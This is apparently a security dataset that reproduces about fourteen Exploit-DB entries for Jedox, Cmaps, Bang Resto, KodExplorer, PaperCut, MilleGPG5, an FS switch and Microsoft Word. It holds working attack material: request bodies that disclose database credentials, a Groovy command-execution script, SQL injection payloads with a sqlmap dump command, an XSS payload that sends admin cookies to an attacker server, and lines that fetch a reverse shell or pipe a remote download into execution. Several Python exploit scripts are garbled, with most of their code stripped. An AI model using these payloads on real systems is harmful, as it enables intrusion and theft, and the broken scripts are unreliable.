QLWD/code_shield huggingface dataset:
标题: Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls EDB-ID: 51428 CVE: 2022-47874 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-05 漏洞利用脚本: # Exploit Title: Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47874


Introduction
=================
Improper access controls in `/tc/rpc` allows remote authenticated users to view details of database connections via the class `com.jedox.etl.mngr.Connections` and the method `getGlobalConnection`. To exploit the vulnerability, the attacker must know the name of the database connection.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) List all available database connections via `conn::ls` (see also: CVE-2022-47879):

 PATH: /be/rpc.php
 METHOD: POST
 BODY:
 [
  [
   "conn",
   "ls",
   [
    null,
    false,
    true,
    [
     "type",
     "active",
     "description"
    ]
   ]
  ]
 ]

2) Retrieve details of a database connection (specify connection name via CONNECTION) including encrypted credentials using the Java RPC function `com.jedox.etl.mngr.Connection::getGlobalConnection`:

 PATH: /tc/rpc
 METHOD: POST
 BODY:
 [
  [
   "com.jedox.etl.mngr.Connections",
   "getGlobalConnection",
   [
    "<CONNECTION>"
   ]
  ]
 ] URL: https://www.exploit-db.com/exploits/51428
标题: Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts EDB-ID: 51427 CVE: 2022-47876 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-05 漏洞利用脚本: # Exploit Title: Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts
# Date: 28/04/2023
# Exploit Author: Syslifters - Christoph Mahrl, Aron Molnar, Patrick Pirker and Michael Wedl
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47876


Introduction
=================
Jedox Integrator allows remote authenticated users to create Jobs to execute arbitrary code via Groovy-scripts. To exploit the vulnerability, the attacker must be able to create a Groovy-Job in Integrator.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) A user with appropriate permissions can create Groovy jobs in the Integrator with arbitrary script code. Run the following groovy script to execute `whoami`. The output of the command can be viewed in the logs:

 def sout = new StringBuilder(), serr = new StringBuilder()
 def proc = 'whoami'.execute()
 proc.consumeProcessOutput(sout, serr)
 proc.waitForOrKill(10000)
 LOG.error(sout.toString());
 LOG.error(serr.toString()); URL: https://www.exploit-db.com/exploits/51427
标题: Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path EDB-ID: 51426 CVE: 2022-47878 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-05 漏洞利用脚本: # Exploit Title: Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47878


Introduction
=================
Incorrect input validation for the default storage path variable in the settings page allows remote, authenticated users to specify the location as web root directory. Consecutive file uploads can lead to the execution of arbitrary code. To exploit the vulnerability, the attacker sets the default storage path to the web root.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) In the UI in the application settings page the default storage path can be set to any value. This path could be set as the webroot directory of the webserver e.g. /htdocs/app/docroot/.

2) Then any upload/import function can be used to upload a .php webshell file to the webroot.

3) Execute webshell from the webroot directory to obtain RCE. URL: https://www.exploit-db.com/exploits/51426
标题: Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module EDB-ID: 51425 CVE: 2022-47877 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-05 漏洞利用脚本: # Exploit Title: Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47877


Introduction
=================
A Stored cross-site scripting vulnerability allows remote authenticated users to inject arbitrary web scripts or HTML in the logs page via the log module. To exploit the vulnerability, the attacker must append an XSS payload to the log message.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) Store log entry with XSS payload:

 PATH: /ub/ccmd
 METHOD: POST
 BODY:
 [
  [
   "log",
   "error",
   "<img src=# onerror=\"alert('XSS')\">"
  ]
 ]

2) Trigger XSS payload by opening the Logs page and showing the respective log entry. URL: https://www.exploit-db.com/exploits/51425
标题: Jedox 2022.4.2 - Remote Code Execution via Directory Traversal EDB-ID: 51424 CVE: 2022-47875 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-05 漏洞利用脚本: # Exploit Title: Jedox 2022.4.2 - Remote Code Execution via Directory Traversal
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2022.4 (22.4.2) and older
# CVE : CVE-2022-47875


Introduction
=================
A Directory Traversal vulnerability in /be/erpc.php allows remote authenticated users to execute arbitrary code. To exploit the vulnerability, the attacker must have the permissions to upload files.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) This vulnerability can be exploited by first uploading a file using one of the existing file upload mechanisms (e.g. Import in Designer). When uploading a file, the web application returns the file system path in the JSON body of the HTTP response (look for `fspath`).

2) Upload a PHP file and note the file system path (`fspath`)

3) Get RCE via Directory Traversal

 PATH: /be/erpc.php?c=../../../../../fspath/of/uploaded/file/rce.php
 METHOD: POST URL: https://www.exploit-db.com/exploits/51424
标题: Cmaps v8.0 - SQL injection EDB-ID: 51422 CVE: 2023-29809 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-05 漏洞利用脚本: # Exploit Title: Cmaps v8.0 - SQL injection

- Date: 27.04.2023
- Exploit Author: Lucas Noki (0xPrototype)
- Vendor Homepage: https://github.com/vogtmh
- Software Link: https://github.com/vogtmh/cmaps
- Version: 8.0
- Tested on: Mac, Windows, Linux
- CVE : CVE-2023-29809

*Description:*

The vulnerability found is an SQL injection. The `bookmap` parameter is vulnerable. When visiting the page: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test we get the normal JSON response. However if a single quote gets appended to the value of the `bookmap` parameter we get an error message:
```html
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
```

Now if two single quotes get appended we get the normal response without an error. This confirms the opportunity for sql injection. To really prove the SQL injection we append the following payload: 
```
'-(select*from(select+sleep(2)+from+dual)a)--+
```

The page will sleep for two seconds. This confirms the SQL injection.

*Steps to reproduce:*

1. Send the following payload to test the vulnerability: ```'-(select*from(select+sleep(2)+from+dual)a)--+```

2. If the site slept for two seconds run the following sqlmap command to dump the whole database including the ldap credentials.
   ```shell
   python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
   ```

Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.



## Request to the server:

<img src="Screenshot 2023-04-30 at 22.23.51.png" alt="Screenshot 2023-04-30 at 22.23.51" style="zoom:50%;" />

## Response from the server:

Look at the response time.
<img src="Screenshot 2023-04-30 at 22.24.35.png" alt="Screenshot 2023-04-30 at 22.24.35" style="zoom:50%;" /> URL: https://www.exploit-db.com/exploits/51422
标题: Companymaps v8.0 - Stored Cross Site Scripting (XSS) EDB-ID: 51417 CVE: 2023-29983 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-02 漏洞利用脚本: # Exploit Title: Companymaps V8.0 - Stored Cross Site Scripting (XSS)
# Date: 27.04.2023
# Exploit Author: Lucas Noki (0xPrototype)
# Vendor Homepage: https://github.com/vogtmh
# Software Link: https://github.com/vogtmh/cmaps
# Version: 8.0
# Tested on: Mac, Windows, Linux
# CVE : CVE-2023-29983

*Steps to reproduce:*
1. Clone the repository and install the application
2. Send a maliciously crafted payload via the "token" parameter to the following endpoint: /rest/update/?token=
3. The payload used is: <script>new+Image().src=`http://YOUR_COLLABORATOR_SERVER/?c=${document.cookie}`</script>
4. Simply visiting the complete URL: http://IP/rest/update/?token=PAYLOAD is enough.
5. Login into the admin panel and go to the auditlog under: /admin/index.php?tab=auditlog
6. Check your collaborator server. You should have a request where the admins cookie is the value of the c parameter

In a real world case you would need to wait for the admin to log into the application and open the auditlog tab.

Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload. URL: https://www.exploit-db.com/exploits/51417
标题: FS-S3900-24T4S - Privilege Escalation EDB-ID: 51414 CVE: 2023-30350 类型: LOCAL 平台: HARDWARE 发布日期: 2023-05-02 漏洞利用脚本: # Exploit Title: FS-S3900-24T4S Privilege Escalation
# Date: 29/04/2023
# Exploit Author: Daniele Linguaglossa & Alberto Bruscino
# Vendor Homepage: https://www.fs.com/
# Software Link: not available
# Version: latest
# Tested on: latest
# CVE : CVE-2023-30350

import sys
import telnetlib


def exploit(args):
    print(args)
     args  
        f
        sysexit
    
        ip  args
        
             telnetlibTelnetip   tn
                
                    tnread_untilb
                    tnwriteb
                    tnread_untilb
                    tnwriteb
                    tnread_untilb
                    tnwriteb
                    tnread_untilb
                    tnwriteb
                    tnread_untilb
                    tnwriteb
                    tnread_untilb
                    tnwriteb
                    tnread_untilb
                    
                        
                    tnclose
                 KeyboardInterrupt
                    
                    tnclose
         ConnectionRefusedError
            


 __name__  
    exploitsysargv URL: https://www.exploit-db.com/exploits/51414
标题: MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control EDB-ID: 51410 CVE: 2023-25438 类型: LOCAL 平台: WINDOWS 发布日期: 2023-05-02 漏洞利用脚本: # Exploit Title: MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
# Date: 2023-04-28
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://millegpg.it/
# Software Homepage: https://millegpg.it - https://millewin.it/prodotti/governo-clinico-3/
# Software Link: https://www.millegpg.it/download/MilleGPGInstall.exe
# Version: 5.9.2
# Tested on: Microsoft Windows 10 Enterprise x64 22H2, build 19045.2913
# CVE: CVE-2023-25438

MilleGPG / MilleGPG5 also known as "Governo Clinico 3"

Vendor: Millennium S.r.l. / Dedalus Group - Dedalus Italia S.p.a. / Genomedics S.r.l.

Affected/tested version: MilleGPG5 5.9.2

Summary:
Mille General Practice Governance (MilleGPG): an interactive tool to address an effective quality of care through the
Italian general practice network.
MilleGPG is an innovative IT support for the evaluation and optimization of patient care and intervention processes,
complete with new features for the management of the COVID-19 vaccine campaign. It is An irreplaceable "ally" for the
General Practitioner, also offering contextual access to the most authoritative scientific content and CME training.

Vuln desc:
The application is prone to insecure file/folder permissions on its default installation path, wrongly allowing some
files to be modified by unprivileged users, malicious process and/or threat actor. Attacker can exploit the weakness
abusing the "write" permission of the main application available to all users on the system or network.


Details:
Any low privileged user can elevate their privileges abusing files/folders that have incorrect permissions, e.g.:

C:\Program Files\MilleGPG5\MilleGPG5.exe    (main gui application)
C:\Program Files\MilleGPG5\plugin\          (GPGCommand.exe, nginx and php files)
C:\Program Files\MilleGPG5\k-platform\      (api and webapp files)

such as BUILTIN\Users:(I)(OI)(CI)(R,W) and/or FILE_GENERIC_WRITE, FILE_WRITE_DATA and FILE_WRITE_EA URL: https://www.exploit-db.com/exploits/51410
标题: PaperCut NG/MG 22.0.4 - Authentication Bypass EDB-ID: 51391 CVE: 2023-27350 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-04-25 漏洞利用脚本: # Exploit Title: PaperCut NG/MG 22.0.4 - Authentication Bypass
# Date: 21 April 2023
# Exploit Author: MaanVader
# Vendor Homepage: https://www.papercut.com/
# Version: 8.0 or later
# Tested on: 22.0.4
# CVE: CVE-2023-27350

import requests
from bs4 import BeautifulSoup
import re

def vuln_version():
    ip = input("Enter the ip address: ")
    url = "http://"+ip+":9191"+"/app?service=page/SetupCompleted"
    response = requests.get(url)
    soup  BeautifulSoupresponsetext 
    text_div  soupfind class_
    product_span  text_divfind class_

    
    version_span  
     span  text_divfind_all
        version_match  rematchr spantextstrip
         version_match
            version_span  span
            

     version_span  
        
    
        version_str  version_spantextstrip
         version_str
        
        f
        f


 __name__ 
    vuln_version URL: https://www.exploit-db.com/exploits/51391
标题: KodExplorer 4.49 - CSRF to Arbitrary File Upload EDB-ID: 51388 CVE: 2022-4944 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-25 漏洞利用脚本: # Exploit Title: KodExplorer <= 4.49 - CSRF to Arbitrary File Upload
# Date: 21/04/2023
# Exploit Author: MrEmpy
# Software Link: https://github.com/kalcaddle/KodExplorer
# Version: <= 4.49
# Tested on: Linux
# CVE ID: CVE-2022-4944
# References:
# * https://vuldb.com/?id.227000
# * https://www.cve.org/CVERecord?id=CVE-2022-4944
# * https://github.com/MrEmpy/CVE-2022-4944

import argparse
import http.server
import socketserver
import os
 threading
 requests
 time  sleep

 
    

 
    port  
    httpddir  ospathjoinospathdirname__file__ 
    oschdirhttpddir
    Handler  httpserverSimpleHTTPRequestHandler
    httpd  socketserverTCPServer port Handler
    
    httpdserve_forever


 url lhost
    payload  
    path  

    targetpath  
    wshell_f   
    wshell_fwritepayload
    wshell_fclose
    
    th  threadingThreadtargethttpd
    thstart
    f' Send this URI to your target
urlindexphp?explorerserverDownloaddownloadsavePathtargetpathdataUseradminhomeurlhttp
lhostshellphpuuidtime'
    f' After the victim opens the URI his shell will be hosted at
urldataUseradminhomeshellphp?cmdwhoami'

 url lhost
    rvpayload  '
httpsrawgithubusercontentcompentestmonkeyphpreverseshellmasterphpreverseshellphp
'
    path  

    targetpath  
    lport  
    reqpayload  requestsgetrvpayloadtext
    reqpayload  reqpayloadreplace lhost
    reqpayload  reqpayloadreplace lport
    wshell_f   
    wshell_fwritereqpayload
    wshell_fclose
    
    th  threadingThreadtargethttpd
    thstart
    f' Send this URI to your target
urlindexphp?explorerserverDownloaddownloadsavePathtargetpathdataUseradminhomeurlhttp
lhostshellphpuuidtime'
    f' Run the command  to receive the
connection  press  key\n'
     
        hitshell  requestsgetf
        sleep
          hitshellstatus_code  
            
        
            
            


 url lhost mode
    banner
     mode  
        webshellurl lhost
     mode  
        reverseshellurl lhost
    
        


 __name__  
    parser  argparseArgumentParser
    parseradd_argument action 
dest required
    parseradd_argument action 'local
hostlhost' required
    parseradd_argument action 'mode
webshell reversemode' required
    arguments  parserparse_args
    mainargumentsurl argumentslhost argumentsmode URL: https://www.exploit-db.com/exploits/51388
标题: Bang Resto v1.0 - 'Multiple' SQL Injection EDB-ID: 51378 CVE: 2023-29849 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-20 漏洞利用脚本: # Exploit Title: Bang Resto v1.0 - 'Multiple' SQL Injection
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29849

*Affected Parameters:*
btnMenuItemID, itemID, itemPrice, menuID, staffID, itemPrice, itemID[],
itemqty[], btnMenuItemID

*Steps to Reproduce:*
1. First login your staff panel.
2. then go to "order" menu and Select menu then create order and intercept
request data using burp suite.
so your request data will be:

POST /bangresto/staff/displayitem.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/staff/order.php
Cookie: PHPSESSID=2rqvjgkoog89i6g7dn7evdkmk5
Connection: close

btnMenuItemID=1&qty=1

3. "btnMenuItemID" parameter is vulnerable. Let's try to inject union based
SQL Injection use this query ".1 union select
1,2,3,CONCAT_WS(0x203a20,0x557365723a3a3a3a20,USER(),0x3c62723e,0x44617461626173653a3a3a3a3a20,DATABASE(),0x3c62723e,0x56657273696f6e3a3a3a3a20,VERSION())--
-" in "btnMenuItemID" parameter.
4. Check browser you will see user, database and version informations.
5. You could also use sqlmap to dump the whole database by saving the web request from BurpSuite URL: https://www.exploit-db.com/exploits/51378
标题: Bang Resto v1.0 - Stored Cross-Site Scripting (XSS) EDB-ID: 51377 CVE: 2023-29848 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-20 漏洞利用脚本: # Exploit Title: Bang Resto v1.0 - Stored Cross-Site Scripting (XSS)
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29848

*Steps to Reproduce:*
1. First login to your admin panel.
2. then go to Menu section and click add new menu from group.
your request data will be:

POST /bangresto/admin/menu.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/admin/menu.php
Cookie: PHPSESSID=2vjsfgt0koh0qdiq5n6d17utn6
Connection: close

itemName=test&itemPrice=1&menuID=1&addItem=

3. Then use any XSS Payload in "itemName" parameter and click add.
4. You will see XSS pop up. URL: https://www.exploit-db.com/exploits/51377
标题: Microsoft Word 16.72.23040900 - Remote Code Execution (RCE) EDB-ID: 51376 CVE: 2023-28311 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-04-20 漏洞利用脚本: ## Exploit Title: Microsoft Word 16.72.23040900 - Remote Code Execution (RCE)
## Author: nu11secur1ty
## Date: 04.14.2023
## Vendor: https://www.microsoft.com/
## Software:
https://www.microsoft.com/en-us/microsoft-365/word?activetab=tabs%3afaqheaderregion3
## Reference:
https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-ID: CVE-2023-28311

## Description:
The attack itself is carried out locally by a user with authentication to
the targeted system. An attacker could exploit the vulnerability by
convincing a victim, through social engineering, to download and open a
specially crafted file from a website which could lead to a local attack on
the victim's computer. The attacker can trick the victim to open a
malicious web page by using a `Word` malicious file and he can steal
credentials, bank accounts information, sniffing and tracking all the
traffic of the victim without stopping - it depends on the scenario and etc.

STATUS: HIGH Vulnerability

[+]Exploit:
The exploit server must be BROADCASTING at the moment when the victim hit
the button of the exploit!

```vbs
  Call Shell("cmd.exe /S /c" & "curl -s
http://tarator.com/ChushkI/ebanie.tarator | tarator", vbNormalFocus)
```

## Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-28311)

## Reference:
[href](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28311)

[href](
https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/)

## Proof and Exploit
[href](https://streamable.com/s60x3k)

## Time spend:
01:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/> URL: https://www.exploit-db.com/exploits/51376